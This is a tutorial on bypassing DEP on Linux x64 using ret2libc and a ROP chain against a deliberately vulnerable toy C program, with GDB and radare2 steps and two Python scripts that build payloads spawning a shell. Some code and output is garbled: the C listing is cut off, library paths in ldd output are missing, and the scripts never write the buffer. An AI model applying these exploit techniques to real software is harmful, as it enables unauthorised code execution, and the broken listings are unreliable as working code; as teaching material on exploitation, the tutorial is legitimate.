Return Oriented Programming Against DEP

This article describes techniques to bypass DEP (ret2libc and ROP) on Linux x64 systems.

We need:

  1. Python Exploit Developmentt Assistence for GDB
  2. radare2
  3. GDB

We need a small, vulnerable program in C :

#include <stdio.h>
int main(int argc, char *argv[]) {
  char buf[256];
  read(0, buf, 400);

Compile it using:

gcc -fno-stack-protector rop.c -o rop

Since we don’t bypass ASLR, then we need to disable it:

# echo 0 > /proc/sys/kernel/randomize_va_space To check whether it's disabled or not type `ldd <path to file>` and you will get something like: (0x00007ffff7ffa000) => /usr/lib/ (0x00007ffff7a3c000)
/lib64/ (0x00007ffff7dda000)

If you type it again, the addresses will be the same. That means ASLR doesn’t work.

Your ROP and ret2libc

In classic ret2libc we need to create a fake stack frame in order to call a function from libc. For instance, we can call system() and use “/bin/sh” string as input.

As you remember, In 64-bit programs the first six params are passed through rdi, rsi, rdx, rcx, r8 и r9. The other parameters are passed using a stack. Thus, in order to call a function from libc we need to set the right values to registers. To do so I’m going to use ROP.

ROP or Return Oriented Programming is a technology, which allows us to bypass NX bit. The main idea of ROP is simple. Instead of executing code on a stack, we would use so called gadgets.

A gadget is a short command sequence, which ends with ret instruction. Combining this gadgets and choosing the rights addresses we can do RCE.

Using gadgets we can:

Our exploit is going to be simple. It will call system('/bin/sh'). To do so we must know:

In order to find address of system() let’s use gdb, type gdb rop.

Then start the program:

gdb-peda$ start

Find system() address:

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7ffff7a7b4d0 <system>

And a pointer to ‘/bin/sh’:

gdb-peda$ find '/bin/sh'
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7b9d359 --> 0x68732f6e69622f ('/bin/sh')

Do not forget to save these addresses somewhere. Now we need a gadget, which would copy 0x7ffff7b9d359 into rdi. Let’s use radare2 to do this. Type r2 rop and look for a gadget:

[0x00400400]> /R pop rdi
    0x004005a3                 5f  pop rdi
    0x004005a4                 c3  ret

It fits us. It will take the address from a stack and write it into rdi. Save it.

The only thing we’re left to do is to find the offset before our exploit (junk), so that to pass control to it. Create a pattern and save it to pattern.txt:

gdb-peda$ pattern_create 400 pattern.txt
Writing pattern of 400 chars to filename "pattern.txt"

Run gdb again with the pattern as input:

gdb-peda$ r < pattern.txt

We got the following error: “Program received signal SIGSEGV, Segmentation fault.”. Let’s examine rsp. In my case it looks like:

RSP: 0x7fffffffe028 ("HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y\020\341\377\367\377\177") Let's take the first 6 bytes on the stack `HA%dA%`. The find which offset they have in our pattern:

gdb-peda$ pattern offset HA%dA%
HA%dA% found at offset: 264

Thus, we know we need to write 264 bytes in order to rewrite rip.

Now we have everything:

from struct import *
buf = ''
buf += 'A'*264                              # мусор
buf += pack('<Q', 0x004005a3)               # pop rdi, ret
buf += pack('<Q', 0x7ffff7b9d359)           # указатель на '/bin/sh'
buf += pack('<Q', 0x7ffff7a7b4d0)           # system()
f = open("exploit.txt", "w")

This code does the following:

  1. Creates a buffer and writes there 264 letters ‘А’ as junk;
  2. Writes the address of pop rdi; ret; gadget;
  3. Writes the address of /bin/sh, which is an argument for system();
  4. Writes the address of system().

A bit of explanation. First we are getting to our gadget (because of rip rewriting). Then the first command of our gadget (pop rdi) takes the value from stack (‘/bin/sh’ address) and writes it into rdi. After that the second command of the gadget get executed - ret, which takes the next address from the stack (the address of system()) and jump to it. Then system() get called, with the first argument in rip.

Now let’s call our script, which will create ‘exploit.txt’. Then run program with ‘exploit.txt’ as input:

$ (cat exploit.txt; cat) | ./rop

And we are in sh. In this case we used only one gadget, now let’s use many of them!

Chaining gadgets

The main advantage of ROP is that we can create so called ‘ROP chains’. Since every gadget ends with ret, then we can put multiple addresses on the stack, and every gadget will take the next address from it and jump to that address.

In order to run sh let’s use this article. In short we are going to use execve(). To do so we must:

  1. Put the address of ‘/bin/sh’ into rdi;
  2. Zero out rsi, which stores a pointer to argv;
  3. Zero out rdx, which stores a pointer to envp;
  4. Write the number of the function (0x3b) into rax;
  5. Call syscall.

Now let’s find gadgets.

The address of pop rdi; ret; we already know.

Now we need an address of a gadget which can write a value into rsi. Run radare2 again and type:

[0x00400400]> /R pop rsi
    0x004005a1                 5e  pop rsi
    0x004005a2               415f  pop r15
    0x004005a4                 c3  ret

Awesome. It fits (almost). As you can see, it deals with r15 too. But it’s not a problem - we’ll just put junk on stack instead of it. This junk will be put into r15. If we don’t do so, pop r15 will take an address of the next gadget and break our exploit.

Some gadgets may not be available in our executable file, but we can use the library, which it loads. To see which libraries are used, do:

$ ldd rop (0x00007ffff7ffa000) => /usr/lib/ (0x00007ffff7a3c000)
    /lib64/ (0x00007ffff7dda000)

And just remember the address of libc library, it still is useful.

Open this library inside of radare2:

r2 /usr/lib/

Look for a gadget, using which we can write a value into rax:

[0x000203b0]> /R pop rax
    0x0011ec71               8903  mov dword [rbx], eax
    0x0011ec73                 58  pop rax
    0x0011ec74                 5a  pop rdx
    0x0011ec75                 5b  pop rbx
    0x0011ec76                 c3  ret

There’re a lot of them, but we need only one. This one messes with three registers, but it’s not a problem too. We can just put junk values on the stack in order to avoid breaking the exploit.

Since the address we got is just an offset inside libc, we need to calculate its real address, which is the address of libc plus the offset:

>>> hex(0x0011ec73 + 0x7ffff7a3c000)

And we get 0x7ffff7b5ac73 - real address of the gadget. Now we need to find a gadget, which calls syscall:

[0x000203b0]> /R syscall
    0x0010248e               0000  add byte [rax], al
    0x00102490             48633f  movsxd rdi, dword [rdi]
    0x00102493         b803000000  mov eax, 3
    0x00102498               0f05  syscall
    0x0010249a                 c3  ret

Get its real address and get 0x7ffff7b3e498.

Now let’s contract a buffer for our exploit. It will look like:

0x004005a3       pointer to `pop rdi; ret;`
0x7ffff7b9d359   pointer to '/bin/sh'
0x004005a1       pointer to `pop rsi; ret;`
0x0              null (`argv` value)
0xffffdeadbeef   junk (to bypass `pop r15;`)
0x7ffff7b5ac73   pointer to `pop rax; ret`
0x3b             number of execve to call syscall
0x0              null (`envp` value)
0xffffffffabcd   junk (to bypass `pop rbx;`)
0x7ffff7b3e498   syscall

Create a simple script, which creates a file with the buffer:

from struct import *

buf = ''
buf += 'A'*264                              # junk

buf += pack('<Q', 0x004005a3)               # pop rdi
buf += pack('<Q', 0x7ffff7b9d359)           # p to /bin/sh

buf += pack('<Q', 0x004005a1)               # pop rsi
buf += pack('<Q', 0x0)                      # null argv
buf += pack('<Q', 0xffffdeadbeef)           # junk

buf += pack('<Q', 0x7ffff7b5ac73)           # pop rax
buf += pack('<Q', 0x3b)                     # execve number
buf += pack('<Q', 0x0)                      # null envp
buf += pack('<Q', 0xffffffffabcd)           # trash

buf += pack('<Q', 0x7ffff7b3e498)           # syscall

f = open("exploit.txt", "w")

Run exploit and get ‘exploit.txt’. Now let’s use it with our vulnerable program:

(cat exploit.txt; cat) | ./rop

Now we are inside sh and we can run commands.